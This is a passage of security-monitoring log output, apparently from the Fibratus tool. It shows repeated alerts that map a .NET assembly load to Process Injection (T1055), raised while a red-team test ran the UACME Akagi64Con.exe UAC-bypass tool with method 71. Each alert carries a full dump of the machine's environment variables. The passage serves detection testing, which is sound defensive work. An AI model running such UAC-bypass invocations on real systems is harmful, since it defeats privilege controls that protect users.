Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:07+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\lc\447e349e90b9f2842d68164e5cba15d9\lc.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 10967057 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:50.8450437 +0100 CET + Params: base_address➜ 7ffcd6700000, checksum➜ 0, default_address➜ 7ffcd6700000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\lc\447e349e90b9f2842d68164e5cba15d9\lc.ni.exe, image_size➜ 81920, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.seq.link: 9665569474375319552, tactic.id: TA0005, technique.id: T1055 + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:23+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S441824ef#\2aca26790c1610a0abca5f2d57ca3845\Microsoft.ServiceHub.Controller.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 10988034 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:52.2711151 +0100 CET + Params: base_address➜ 7ffcbba10000, checksum➜ 0, default_address➜ 7ffcbba10000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S441824ef#\2aca26790c1610a0abca5f2d57ca3845\Microsoft.ServiceHub.Controller.ni.exe, image_size➜ 3649536, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:23+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S441824ef#\2aca26790c1610a0abca5f2d57ca3845\Microsoft.ServiceHub.Controller.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 10988034 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:52.2711151 +0100 CET + Params: base_address➜ 7ffcbba10000, checksum➜ 0, default_address➜ 7ffcbba10000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S441824ef#\2aca26790c1610a0abca5f2d57ca3845\Microsoft.ServiceHub.Controller.ni.exe, image_size➜ 3649536, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, rule.seq.link: 9665569474375319552, tactic.id: TA0005, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh 